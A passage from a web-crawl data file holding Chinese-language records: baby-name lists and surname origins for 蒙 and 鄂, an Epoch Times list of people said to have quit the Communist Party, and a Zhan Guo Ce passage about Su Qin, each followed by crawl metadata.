蒙音芳 蒙莉萍 蒙嫻娟 蒙婭嫻 蒙唐麗 蒙景穎 蒙法玲 蒙佳穎 蒙世英 蒙志娜 蒙秀婧 蒙耀玲 蒙小瑤》》還是沒有找到滿意的名字?不妨問問大師。\n蒙媛繽 蒙婷丹 蒙曉萍 蒙宗霞 蒙文妍 蒙進媛 蒙怡杉 蒙秀紅 蒙雪玲 蒙惠娟 蒙巧花 蒙妍宣 蒙穗瓊 蒙笑秀 蒙雨文 蒙怡璇 蒙瑞娥 蒙若怡 蒙禮倩 蒙水燕 蒙燕 蒙月芳 蒙悅辰 蒙俊潔 蒙曉妍 蒙嘵琳 蒙曉芳 蒙熠瑤 蒙秋霞 蒙敏燕 蒙頌英 蒙蘊潔 蒙卜婷 蒙德玲 蒙伊瑤 蒙怡雲 蒙婧雨 蒙秀琳 蒙倩鈺 蒙丁悅 蒙愛倩 蒙清媛 蒙舒文 蒙仁潔 蒙艷紅 蒙亦琳 蒙意娜 蒙怡嘉 蒙瓊玉 蒙悅伊 蒙嬋瓊 蒙婧婧 蒙曉英 蒙曉婧 蒙耀潔 蒙嬋 蒙利霞 蒙昊穎 蒙瑞娟 蒙靜怡 蒙水娥 蒙婷軒 蒙美怡 蒙雅文 蒙東妹 蒙卉瑩 蒙曉梅 蒙劃英 蒙昕媛 蒙元瑛 蒙牧文 蒙文怡 蒙麗麗 蒙詩琳 蒙幼芳 蒙金英 蒙秀蓉 蒙虎玲 蒙林玉 蒙佳妍 蒙存娟 蒙翠蓉 蒙牧冉 蒙路穎 蒙年英 蒙慧玲 蒙曉英 蒙利芳 蒙曉艷 蒙灩冉 蒙依文 蒙舒妍 蒙柏妍 蒙玷玉 蒙燕磊 蒙郅英 蒙文艷 蒙彩梅 蒙敏妍 蒙淑蓉 蒙小紅 蒙皓婷 蒙裴怡 蒙芙蓉 蒙幼紅 蒙怡涵 蒙婷婷 蒙婧雯 蒙艷梅 蒙翠英 蒙貞瓊 蒙熙茹 蒙國蓉 蒙怡文 蒙淑娜 蒙銘 蒙卓宇 蒙曉琴 蒙宇婷 蒙婧 蒙茗莉 蒙怡蓉 蒙若瑤 蒙穗娟 蒙倩芳 蒙金麗 蒙文倩 蒙志娟 蒙姝洋 蒙俊傑 蒙志新 蒙鬱智 蒙晗婷 蒙紅英 蒙沛琳 蒙徐冉 蒙嘉怡 蒙文瓊 蒙凌文 蒙冬妹 蒙燕紅 蒙琳 蒙鴻瑩 蒙佳茹 蒙傢玉 蒙秀雯 蒙茜芳 蒙莎燕 蒙映霞 蒙聞悅 蒙小玉 蒙梓玲 蒙潔 蒙鳳美 蒙鳳玉 蒙燕菁 蒙志霞 蒙善娜 蒙雅芬 蒙仲萍 蒙妍君 蒙慕妍 蒙美玲 蒙月萍 蒙怡煒 蒙婷 蒙驁雪 蒙子茹》》還是沒有找到滿意的名字?不妨問問大師。\n蒙(Méng)姓源出有三:\n1、出自以山名、官名為氏。周朝的時期,有官職名為東蒙主,職責是管理、主持祭祀蒙山。這位官吏的後代也世世代代居住在蒙山,並且以山名為姓,形成蒙姓。\n2、來源於高陽氏,以地名為姓。夏朝建立以後,顓頊的後代被封在蒙雙(有說法為雙蒙),他的後代於是將封地的名作為姓氏,成為蒙姓和雙姓。\n3、為他姓所改:\n① 有一支蒙姓改自東蒙氏。\n② 元朝時有復姓蒙古氏,後來其子孫逐漸以單姓\"蒙\"為氏。\n③ 南詔國姓蒙,居於蒙舍州,其後進入中原,定居於安定(今甘肅省定西一帶)。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/www.share4tw.com\/archives\/285955","date":"2017-05-28T03:10:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463609409.62\/warc\/CC-MAIN-20170528024152-20170528044152-00332.warc.gz","language":"lzh","language_score":0.6629692316,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.6629692316055298, \"cmn_Hani_score\": 0.23379074037075043, \"nan_Hani_score\": 0.04447890445590019, \"yue_Hani_score\": 0.041828516870737076, \"wuu_Hani_score\": 0.01595643348991871}","num_words":410,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.686,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓鄂的好聽的女孩名字有哪些呢?眾所周知,姓名,記錄著宗族血統的烙印,凝聚著父母對孩子的深情厚義,隱喻著不同的理想追求和目標,也越來越多的人對名字開始重視,那姓鄂的女寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓鄂的好聽的女孩名字!\n姓鄂的好聽的女孩名字\n鄂華英 鄂冰倩 鄂文麗 鄂茹萱 鄂媛茹 鄂千秀 鄂子瓊 鄂鳳玲 鄂蓉蘋 鄂茹倩 鄂忻瑩 鄂梅琳 鄂曼琳 鄂裴俊 鄂佳裴 鄂菁嫣 鄂楚嫣 鄂悅盈 鄂花 鄂少梅 鄂萌婭 鄂立紅 鄂妍焱 鄂林艷 鄂智娟 鄂駿文 鄂冬玉 鄂婉文 鄂顏美 鄂宛芳 鄂亦嫣 鄂金蓉 鄂春麗 鄂志琳 鄂濤英 鄂妙娜 鄂瑾紅 鄂國瑩 鄂昭萍 鄂明潔 鄂悅朦 鄂連英 鄂燕丹 鄂令文 鄂聰穎 鄂琬瑩 鄂程蓉 鄂浙紅 鄂文芳 鄂鳳梅 鄂琬茹 鄂鼎文 鄂婧雅 鄂喜芳 鄂小瓊 鄂沁悅 鄂燕燁 鄂松霞 鄂鑫文 鄂崇文 鄂軍瑛 鄂熒娜 鄂可倩 鄂宏婧 鄂婕芳 鄂蒙霞 鄂悅怡 鄂亦文 鄂孜悅 鄂雪梅 鄂美麗 鄂宣穎 鄂滿婷 鄂嗨英 鄂元媛 鄂娜 鄂遙玲 鄂有冉 鄂倩佳 鄂尚妍 鄂曉婧 鄂茹栩 鄂麗芳 鄂紅瑩 鄂雙燕 鄂婷芳 鄂裴禧 鄂琳宣 鄂敏娜 鄂瑯婷 鄂祈妍 鄂梓蓉 鄂從麗 鄂忠玲 鄂心萍 鄂錦秀 鄂雪玉 鄂向倩 鄂莉煊 鄂夢茹 鄂娥 鄂玉 鄂沈紅 鄂雅萍 鄂靈玉 鄂璐萍 鄂良琴 鄂詩萍 鄂優瓊 鄂鑰文 鄂露潔 鄂思莉 鄂文美 鄂雅文 鄂麗燕 鄂睿紅 鄂綺婷 鄂桂茹 鄂倩儀 鄂惠芳 鄂妍沂 鄂吉穎 鄂琳蓯 鄂悅祖 鄂啟霞 鄂子倩\n》》還是沒有找到滿意的名字?不妨問問大師。\n鄂蘇芬 鄂伊冉 鄂近梅 鄂琳麟 鄂寶玲 鄂智美 鄂欣玉 鄂秦玉 鄂安婷 鄂文娟 鄂湘潔 鄂娟香 鄂倩寧 鄂幾文 鄂繼紅 鄂鉑文 鄂志潔 鄂娟偉 鄂怡 鄂艷萍 鄂妹秀 鄂滌穎 鄂天怡 鄂鳳玲 鄂琳非 鄂燕婷 鄂龍瑛 鄂悅倩 鄂婉婷 鄂欣妍 鄂倩儀 鄂益娟 鄂佳怡 鄂瑞琳 鄂妍寧 鄂玉萍 鄂習文 鄂軍芳 鄂玉芬 鄂迎芬 鄂莉娟 鄂妍 鄂志芳 鄂蔣瑛 鄂文婧 鄂夢媛 鄂慕雪 鄂莉 鄂浩文 鄂傢美 鄂茹芩 鄂培琳 鄂蘭瑩 鄂鸝嬋 鄂豫婷 鄂京妍 鄂莉媛 鄂婷勻 鄂悅白 鄂綺紅 鄂怡凡 鄂德梅 鄂秀依 鄂瑤佳 鄂怡帥 鄂燕迪 鄂岑瑩 鄂煥玉 鄂麗莉 鄂悅滔 鄂天茹 鄂弘娟 鄂沛媛 鄂瑤華 鄂娟華 鄂妍蓉 鄂昭琳 鄂之媛 鄂慶雪 鄂銘玉 鄂茹赫 鄂英花 鄂祉悅 鄂小瑤 鄂玲君 鄂莉娜 鄂怡瑞 鄂玉梅 鄂怡美 鄂媛穎 鄂琳儀 鄂琦婷 鄂長英 鄂黎麗 鄂怡儀 鄂雅倩 鄂曉莉 鄂山芳 鄂雖嫣 鄂怡萱 鄂學琴 鄂賈瑩 鄂衍莉 鄂金冉 鄂學文 鄂一芬 鄂傅文 鄂曉娜 鄂嫵梅 鄂秋芬 鄂代紅 鄂利霞 鄂小婷 鄂虹娜 鄂嘉娜 鄂樺瑩 鄂妍妃 鄂冬梅 鄂瑞瑩 鄂霞芳 鄂雲娜 鄂晨怡 鄂佳倩 鄂海艷 鄂立媛 鄂愉文[1] [2]\n鄂一文 鄂鴻燕 鄂友梅 鄂靈莉 鄂悅琳 鄂倩儀 鄂曉琴 鄂瀚文 鄂林潔 鄂米霞 鄂茹坤 鄂妍松 鄂元潔 鄂立梅 鄂倩芬 鄂湘茹 鄂睿妍 鄂嘉慶 鄂美潔 鄂傢玉 鄂娜 鄂立怡 鄂婧雯 鄂珂文 鄂玨美 鄂儷萍 鄂豐霞 鄂娟范 鄂吟悅 鄂輝媛 鄂鑫萍 鄂雪娟 鄂秀娥 鄂佳怡 鄂凡瑤 鄂越紅 鄂鴻婷 鄂松蓉 鄂晰穎 鄂志琴 鄂一穎 鄂毅冉 鄂小琴 鄂悅鑫 鄂宇琳 鄂愛玲 鄂坤芳 鄂小萍 鄂雙燕 鄂瀾婷 鄂立芳 鄂蕊嫣 鄂慕冉 鄂鈺玲 鄂思婷 鄂曉妍 鄂淑梅 鄂小紅 鄂純麗 鄂宏玲 鄂方穎 鄂永玲 鄂莉麗 鄂建芳 鄂忻怡 鄂燕泫 鄂潔瑛 鄂樂文 鄂志紅 鄂笑霞 鄂小艷 鄂映文 鄂冰雪 鄂彥妍 鄂妹辣 鄂涵秀 鄂紫英 鄂彥玉 鄂旭艷 鄂鴻潔 鄂依琳 鄂美茹 鄂瓊 鄂偉玲 鄂秀珈 鄂芳怡 鄂姚妍 鄂瑞媛 鄂楠玲 鄂君艷 鄂龍燕 鄂伊瑩 鄂俊琴 鄂應紅 鄂小玲 鄂文娜 鄂曉穎 鄂艷梅 鄂童雙 鄂星歆 鄂帆婷 鄂悅心 鄂琳愛 鄂忻妍 鄂連文 鄂哲冉 鄂孌 鄂偉祥 鄂建權 鄂暉 鄂柏姿 鄂晨絢 鄂淑芳 鄂怡馨 鄂桓瑛 鄂楚玲 鄂淑英 鄂森瑩 鄂昕怡 鄂怡儷 鄂桂玲 鄂嫣姿 鄂其瓊 鄂娟 鄂鈺娜 鄂悅暢 鄂怡沁 鄂光艷 鄂群花 鄂怡沁 鄂鳳瓊 鄂愛婷 鄂景怡 鄂振芳 鄂伊婷 鄂妍茜 鄂亞玲 鄂茹茹 鄂曉萍 鄂文婷 鄂雅莉 鄂芬 鄂建文 鄂新花 鄂紫琳 鄂英潔 鄂梓芳 鄂穎玲\n鄂(è)姓源出有六:\n1、出自姞姓,以國名為姓。黃帝的姞姓子孫封在鄂國(今河南省南陽市北),夏商時為諸侯國。商末,鄂侯在朝中為大臣,與西伯姬昌、九侯並列為三公 。商紂看中瞭九侯的女兒,娶為妃子。但九侯的女兒性情端莊,不願陪伴紂王作那些荒淫無恥的勾當,紂王一怒之下,殺死瞭九侯父女,還把九侯做成肉醬。鄂侯見九侯死得冤枉,便同紂王拒理力爭,結果也被殺死。後來鄂侯的子孫後代以國名為姓,稱為鄂姓。\n2、出自姬姓,以邑名為氏。春秋時期,晉袁侯光曾封於鄂邑(今山西省鄉寧縣),其支庶子孫又的以其原封地鄂邑為姓,稱為鄂姓。\n3、亦出自姬姓,以地名為氏。據《名賢姓氏言行類稿》載,春秋時期晉國大夫頃父之子嘉父叛晉,奔至鄂,稱鄂侯,其後遂以鄂為姓,稱為鄂氏。\n4、出自羋姓,以國名為氏。據《史記·楚世傢》載,周夷王時,楚君熊渠自稱楚王,並封三個兒子為王,其中二兒子熊摯紅被封於鄂國(今湖北省鄂城),稱鄂王。他的後代子孫遂以鄂為姓,稱鄂姓。\n5、出自嶽姓所改,是南宋民族英雄嶽飛的後代。嶽飛,被封為嶽鄂王,他遇害以後,其四子嶽震、五子嶽霆避難逃亡江南,不敢以嶽為姓,子孫散居各地,在黃梅縣住(湖北省)的一支便以嶽飛封號鄂為姓,稱為鄂姓。\n6、巴郡蠻族七姓中有鄂氏。(責任編輯:八字免費算命網)[1] [2]","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/www.share4tw.com\/archives\/285979","date":"2017-12-16T13:11:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948588072.75\/warc\/CC-MAIN-20171216123525-20171216145525-00334.warc.gz","language":"lzh","language_score":0.4595392644,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.4595392644405365, \"cmn_Hani_score\": 0.36444810032844543, \"nan_Hani_score\": 0.1584073305130005, \"wuu_Hani_score\": 0.011375855654478073}","num_words":411,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.535,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓鄂的好聽的男孩名字有哪些呢?眾所周知,姓名,記錄著宗族血統的烙印,凝聚著父母對孩子的深情厚義,隱喻著不同的理想追求和目標,也越來越多的人對名字開始重視,那姓鄂的男寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓鄂的好聽的男孩名字!\n姓鄂的好聽的男孩名字\n鄂京霏 鄂存邦 鄂昱娉 鄂煜岱 鄂來恩 鄂惠鳴 鄂泉 鄂茂火 鄂雙慶 鄂琪帝 鄂銳濱 鄂嬌 鄂俊曦 鄂麗軍 鄂嘉勇 鄂函弈 鄂甍樂 鄂佳彤 鄂弋 鄂迦誠 鄂子延 鄂汶 鄂壯狀 鄂季權 鄂雨 鄂海羲 鄂駿輝 鄂琢銘 鄂若萱 鄂文春 鄂麗傑 鄂一晟 鄂鵬 鄂礪元 鄂淑靈 鄂寶竹 鄂俊珍 鄂喜鈴 鄂軒紫 鄂惠中 鄂振祿 鄂鈸析 鄂鼎兆 鄂曉鑭 鄂孝利 鄂星宇 鄂昊柘 鄂曉楠 鄂志遠 鄂為群 鄂浩 鄂榮東 鄂傢麒 鄂鈺笙 鄂成樹 鄂浙新 鄂星哲 鄂燃 鄂健明 鄂鐵誠 鄂勝鋒 鄂翔耀 鄂鈺 鄂原 鄂芷鑫 鄂順超 鄂丫鈺 鄂奕涵 鄂子闞 鄂樂 鄂雨璐 鄂鎳森 鄂文明 鄂心霖 鄂時豪 鄂又景 鄂齊琦 鄂錦繡 鄂峰 鄂雅樂 鄂德銘 鄂燁 鄂蘄海 鄂濟東 鄂珂蘭 鄂刖枚 鄂雨茺 鄂驍 鄂俊生 鄂念梁 鄂曉達 鄂清瀾 鄂舒 鄂勝童 鄂彳丁 鄂國平 鄂玉虎 鄂圭香 鄂雯馨 鄂罡宮 鄂先權 鄂彬 鄂開疆 鄂人尹 鄂藝嚴 鄂順程 鄂鑫伊 鄂忠全 鄂大 鄂如凈 鄂思樂 鄂冬春 鄂健倫 鄂寶利 鄂惠明 鄂潤根 鄂林 鄂新民 鄂俞奇 鄂文政 鄂嚴俊 鄂鐵泉 鄂熾泠 鄂哲敏 鄂寶雲 鄂瑋童 鄂倉 鄂鑒 鄂芝誼 鄂秀敏\n鄂起豪 鄂小飛 鄂紅超 鄂蘇純 鄂英俊 鄂洋晨 鄂羲 鄂芯如 鄂中耿 鄂紅蕾 鄂江 鄂涵 鄂心宇 鄂澤宇 鄂世材 鄂國威 鄂啟建 鄂佑映 鄂丁 鄂佳琦 鄂靜 鄂成剛 鄂冰 鄂洪 鄂猛利 鄂韻歸 鄂鄞鑫 鄂雪珩 鄂哲源 鄂青雲 鄂宇虹 鄂小明 鄂演雨 鄂睿 鄂昌蘭 鄂致瑋 鄂建亞 鄂欣 鄂睢印 鄂麟琛 鄂逸凡 鄂泉弘 鄂汶茜 鄂溢迎 鄂朊西 鄂小躍 鄂驛盈 鄂琪 鄂林軍 鄂海洪 鄂國金 鄂依鑫 鄂鈺蕉 鄂羽浩 鄂舒一 鄂建東 鄂寧遠 鄂晨 鄂王妃 鄂龍塏 鄂錦澤 鄂舟揚 鄂林濤 鄂若明 鄂泓旭 鄂騰盛 鄂靖瞳 鄂思懿 鄂一程 鄂悠然 鄂裕飄 鄂麗君 鄂保中 鄂騰驗 鄂結龍 鄂佳斌 鄂植元 鄂榮 鄂青姍 鄂枷緣 鄂寶慶 鄂益帆 鄂夢曉 鄂明星 鄂天巧 鄂曄 鄂利嘉 鄂海濤 鄂函 鄂火金 鄂春宛 鄂芊澄 鄂李妮 鄂聖雅 鄂馨 鄂思含 鄂佳晗 鄂皚黎 鄂逸輝 鄂高 鄂涵靈 鄂鴻飛 鄂天瀅 鄂謹安 鄂之 鄂天賜 鄂月華 鄂鴻寅 鄂宗淼 鄂則江 鄂常福 鄂雲坤 鄂鑫沛 鄂飲景 鄂羽豪 鄂亦鑫 鄂嚴傑 鄂國鎮 鄂歆瑜 鄂英華 鄂詩雄 鄂重勇 鄂梓燦 鄂鏡羽 鄂大明 鄂紹展 鄂曉蘭 鄂偉雅 鄂梓林\n》》還是沒有找到滿意的名字?不妨問問大師。\n鄂建新 鄂冠軼 鄂木強 鄂偉彬 鄂建武 鄂敬淇 鄂永盈 鄂紫晴 鄂澤皖 鄂雪晴 鄂禹 鄂二春 鄂橫的 鄂天才 鄂旎葉 鄂芯成 鄂術永 鄂明軒 鄂朝極 鄂朝彬 鄂泳 鄂錫海 鄂晚熙 鄂程 鄂軍堯 鄂銘宇 鄂盛 鄂振昊 鄂九函 鄂若超 鄂文孜 鄂子 鄂圳翔 鄂小華 鄂其敏 鄂林杉 鄂傢武 鄂曉磊 鄂欣祥 鄂一珊 鄂百奕 鄂闖 鄂一友 鄂敏華 鄂紹之 鄂仲豫 鄂露鴻 鄂詩奕 鄂禦佳 鄂淼 鄂景明 鄂兆正 鄂海榮 鄂新航 鄂海斌 鄂鐘陽 鄂詩雨 鄂海 鄂靖 鄂慶賢 鄂玉珍 鄂換香 鄂雅欣 鄂礫馨 鄂夢然 鄂佳鷺 鄂佳宇 鄂詩沁 鄂寧萊 鄂玢 鄂志城 鄂仕豪 鄂鳳舞 鄂錦童 鄂俯倨 鄂聖 鄂偉 鄂煌緣 鄂雨函 鄂俊華 鄂宏雯 鄂琪珉 鄂東嶽 鄂德財 鄂愷諦 鄂翌鈞 鄂蘊安 鄂沁芯 鄂小灩 鄂正洋 鄂鸞 鄂辰獻 鄂幫民 鄂阿純 鄂淋德 鄂婉姝 鄂世坤 鄂錦奇 鄂振遠 鄂郎 鄂佳寧 鄂睿婕 鄂招娣 鄂文君 鄂衛安 鄂大志 鄂藤仙 鄂溪源 鄂衛平 鄂錢蠅 鄂樂樂 鄂翊航 鄂渡海 鄂仕曄 鄂非凡 鄂志輝 鄂粲緯 鄂祥蓮 鄂小毅 鄂天帝 鄂明勝 鄂玉含 鄂文傑 鄂宏 鄂年 鄂懿信 鄂文彪 鄂彬彬 鄂澤鍇 鄂楚 鄂瀚昌 鄂之靈 鄂薪竹 鄂蕓斐 鄂子爍 鄂健楠 鄂泓什 鄂慕容 鄂樂靜 鄂嘯天 鄂懷鋒\n鄂(è)姓源出有六:\n1、出自姞姓,以國名為姓。黃帝的姞姓子孫封在鄂國(今河南省南陽市北),夏商時為諸侯國。商末,鄂侯在朝中為大臣,與西伯姬昌、九侯並列為三公 。商紂看中瞭九侯的女兒,娶為妃子。但九侯的女兒性情端莊,不願陪伴紂王作那些荒淫無恥的勾當,紂王一怒之下,殺死瞭九侯父女,還把九侯做成肉醬。鄂侯見九侯死得冤枉,便同紂王拒理力爭,結果也被殺死。後來鄂侯的子孫後代以國名為姓,稱為鄂姓。\n2、出自姬姓,以邑名為氏。春秋時期,晉袁侯光曾封於鄂邑(今山西省鄉寧縣),其支庶子孫又的以其原封地鄂邑為姓,稱為鄂姓。\n3、亦出自姬姓,以地名為氏。據《名賢姓氏言行類稿》載,春秋時期晉國大夫頃父之子嘉父叛晉,奔至鄂,稱鄂侯,其後遂以鄂為姓,稱為鄂氏。\n4、出自羋姓,以國名為氏。據《史記·楚世傢》載,周夷王時,楚君熊渠自稱楚王,並封三個兒子為王,其中二兒子熊摯紅被封於鄂國(今湖北省鄂城),稱鄂王。他的後代子孫遂以鄂為姓,稱鄂姓。\n5、出自嶽姓所改,是南宋民族英雄嶽飛的後代。嶽飛,被封為嶽鄂王,他遇害以後,其四子嶽震、五子嶽霆避難逃亡江南,不敢以嶽為姓,子孫散居各地,在黃梅縣住(湖北省)的一支便以嶽飛封號鄂為姓,稱為鄂姓。\n6、巴郡蠻族七姓中有鄂氏。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/www.share4tw.com\/archives\/285980","date":"2018-04-19T19:45:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937016.16\/warc\/CC-MAIN-20180419184909-20180419204909-00036.warc.gz","language":"lzh","language_score":0.6121839881,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.6121839880943298, \"cmn_Hani_score\": 0.2557941675186157, \"nan_Hani_score\": 0.12297582626342773}","num_words":411,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.681,"perplexity_score":500.0,"cluster_detection":1} +{"text":"退党团队118人 邱众福 纪建华 于德海 王福光 高增智 杜广民 高云彤 金桂兰 林云福 王福城 李海福 马文福 康言明 文轩山 李联缘 高义双 田福雪 李开明 高正信 郑金兰 赵华晋 赵荣星 高学福 赵德华 吕悦慧 王新华 曲德福 高忠畅 高星梅 孟显森 高良辰 孟学田 王庆富 周洪福 程梅兰 付兰花 王建强 李真福 魏德华 彭大海 付少坤 马幸福 李慧缘 王德英 王金福 赵一安 邹安平 邹健华 岳国兰 王金祥 高增寿 赵元坤 王家平 郑平安 林福安 王光河 高玉旭 张运好 王传启 关桂兰 赵丹明 高美兰 习近山 张福庆 关家富 杜来时 祝德福 王德君 顾庆海 祝建华 王福梅 孟凡海 万福瑞 周昆德 周家昌 林永强 李建聪 王亚平 任建平 尤德华 石德福 荣德福 齐百鸣 尤慧多 王立华 张嘉桥 孔凡昌 柴申叶 袁世优 石龙航 刘胜杰 潘竹国 吴兴妙 吴卿典 易卿安 舒亚荣 纪修中 郭彩好 邢时霄 韩亚礼 裴理咏 段岳元 关万荷 蓝伊益 安石东 韦轩百 焦林言 韩丰锦 蓝华洋 于顺祥 冯洲蕴 田子泰 于亮亮 白舟锦 苏航采 萧实加 谷伊优 赵洲修\n退团队135人 顾建华 邱世中 杨焕文 刘可义 林家文 马康健 赵华星 高实明 刘义亮 荣玉贵 马成功 顾修平 高效茂 杜金华 陈毅民 王益民 依建华 王学福 高顺才 李秋榕 王传多 李光华 石普明 王德礼 齐时跃 李德顺 范德华 王传海 刘聪秀 伊光华 周方明 赵聪善 高齐云 付希亮 王政敏 高玉洁 王福胜 刘文康 邹文华 陈天兰 付余亮 刘冬梅 李福强 万里城 刘新才 王可书 刘友兰 文兰美 高玉山 王文虎 李金瑞 王守道 孟凡越 焦延欣 于广河 孙庆洲 李玉兰 郭文华 王福文 王海涛 马延明 金福全 孟凡平 杜中华 李梦东 王乐辉 高双江 李佳明 王传荣 汪德福 刘毅梅 高学哲 王德环 邱金华 范德华 郑升华 高明礼 杜爱兰 刘诗丹 于维平 纪福兰 王福东 康美兰 王守福 柴文明 王卫畅 桂华秀 钟备知 高兴梅 夏聪国 高明田 王明兰 高健成 杜成明 李乐天 高云秀 王仁春 李同河 周全福 李家悦 杜金平 魏杰亮 吕继福 祝倍博 潘忧卿 周万培 刘礼信 许颂友 葛畅合 董友忠 邵益月 肖申慧 万民近 邓全倍 杨星语 郭白玉 李千乐 审方梅 沈良承 古立卓 刘城敏 贺巧笛 张岩广 章廷贝 邓定妙 向增备 梁研荷 夏添迪 郝前复 乔彩星 施里倍 石民瑶 蒋力巧 龚联甜 易长伦\n退队159人 戴环友 董长成 万如宁 薛理宽 施裕方 庄羽秀 倪伦蓝 蒋培彩 解菊俊 苗安全 龚蕊好 萧倍良 邓笛亮 宋咏培 陆启贵 龙叙才 姚里昭 丘德升 李星兰 刘明明 许临玉 沈家田 马松盛 牛景翔 康保智 宋力立 方高书 朱聪启 李定圆 关海纯 施日侨 金川得 邓悦金 乔挺宽 新桂兰 李维平 刘文欣 李佳纯 刘文雅 王明聪 孟凡文 方云山 叶广洲 王宝坤 李佳宝 王书评 王永新 刘轩平 张汉朋 方欣华 方欣荣 刘云舟 杨明涛 王伟兰 文依轩 李吉义 魏兰美 李胜利 张福信 赵百福 钟信福 于秋兰 李德仁 王志强 王义明 李长礼 杜宽桥 林福贵 李卫瑞 康来明 李松波 高云松 孟冬雅 高双福 于建安 范义福 李汉双 周玉兰 刘先宝 刘丛波 魏风兰 柴正义 刘福荣 苗美兰 王兰英 李元丰 高明亮 王安心 邹福平 邹文福 王延彬 万明义 程福民 朱桂兰 林中喜 刘冬兰 叶建华 叶云兰 张锦华 钟金明 于安德 林中川 韩福文 付文平 张可泉 邵贵富 高元祥 韩春兰 邱来福 张立国 林慧兰 付为民 韩福明 刘丹信 李和平 关贵书 林荣华 关玉兰 韩玉华 李春兰 高晓敏 王景运 谢云兰 王荣丰 高永远 魏福立 赵春福 冯友兰 陈福春 周信仁 牟建富 付连元 许桂兰 岳幸福 王冬兰 李华中 王新生 依凤兰 王修聪 石美兰 王福家 王汉浩 李永乐 吕卫伦 付荣华 张运福 孟桂兰 于伟讯 王丹研 张福来 于英家 朱明福 邱云兰 王瑞显 王发忠 于德信 杨志涛 高祥民 宋进富 以上412人郑重声明退出共产党及其所属组织,不与邪恶为伍,求神佛护佑。\n注:以上为2017年8月至9月退","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/tuidang.epochtimes.com\/index\/showpost\/id\/21783767","date":"2018-06-18T02:13:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267859923.59\/warc\/CC-MAIN-20180618012148-20180618032148-00610.warc.gz","language":"lzh","language_score":0.4979804456,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4979804456233978, \"cmn_Hani_score\": 0.34285297989845276, \"nan_Hani_score\": 0.1469578742980957}","num_words":417,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.498,"perplexity_score":500.0,"cluster_detection":1} +{"text":"戰國策卷三十 ‧ 燕策二\n蘇秦說奉陽君合燕于趙以伐齊\n蘇秦說奉陽君合燕于趙以伐齊,奉陽君不聽。乃入齊惡趙,令齊絕于趙。齊已絕于趙,因之燕,謂昭王曰:\n韓為謂臣曰:『人告奉陽君曰:使齊不信趙者,蘇子也;令齊王召蜀子使不伐宋者,蘇子也;與齊王謀道取秦以謀趙者,蘇子也;令齊守趙之質子以甲者,又蘇子也。請告子以請齊,果以守趙之質子以甲,吾必守子以甲。』其言惡矣。雖然,王勿患也。臣故知入齊之有趙累也。出為之以成所欲,臣死而齊大惡于趙,臣猶生也。令齊、趙絕,可大紛已。特臣非張孟談也,使臣也如張孟談也,齊、趙必有為智伯者矣。\n奉陽君告朱讙與趙足曰:『齊王使公玉丹命曰,必不反韓珉,今召之矣。必不任蘇子以事,今封而相之。必不合燕,今以燕為上交。吾所恃者順也,今其言變有甚于其父,順始與蘇子為讎。見之知無厲,今賢之兩之,已矣,吾無齊矣!奉陽君之怒甚矣。如齊王之不信趙,而小人奉陽君也,因是而倍之。不以今時大紛之,解而復合,則後不可柰何也。故齊、趙之合苟可循也,死不足以為臣患,逃不足以為臣恥,為諸侯不足以為臣榮,被髮自漆為厲不足以為臣辱。然而臣有患也,臣死而齊、趙不循,惡交分于臣也,而後相效,是臣之患也。若臣死而必相攻也,臣必勉之而求死焉。堯、舜之賢而死,禹、湯之知而死,孟賁之勇而死,烏獲之力而死,生之物固有不死者乎?在必然之物以成所欲,王何疑焉?\n臣以為不若逃而去之。臣以韓、魏循自齊,而為之取秦,深結趙以勁之。如是則近于相攻。臣雖為之,累燕,奉陽君告朱讙曰:『蘇子怒于燕王之以吾故弗予相,又不予卿也,殆無燕矣。』其疑至于此,故臣雖為之,不累燕,又不欲王。伊尹再逃湯而之桀,再逃桀而之湯,果與鳴條之戰,而以湯為天子。伍子胥逃楚而之吳,果與柏舉之戰,而報其父之讎。今臣逃而紛齊、趙,始可著于春秋。且舉大事者,孰不逃?桓公之難,管仲逃于魯;陽虎之難,孔子逃于衞;張儀逃于楚;白珪逃于秦;望諸相中山也使趙,趙劫之求地,望諸攻關而出逃;外孫之難,薛公釋載逃出于關,三晉稱以為士。故舉大事,逃不足以為辱矣。\n卒絕齊于趙,趙合于燕以攻齊,敗之。","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/xn--5rtnx620bw5s.tw\/a2\/a202\/456.htm","date":"2018-12-13T12:21:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376824675.15\/warc\/CC-MAIN-20181213101934-20181213123434-00575.warc.gz","language":"lzh","language_score":0.4640933573,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4640933573246002, \"cmn_Hani_score\": 0.4521580934524536, \"nan_Hani_score\": 0.04901624470949173, 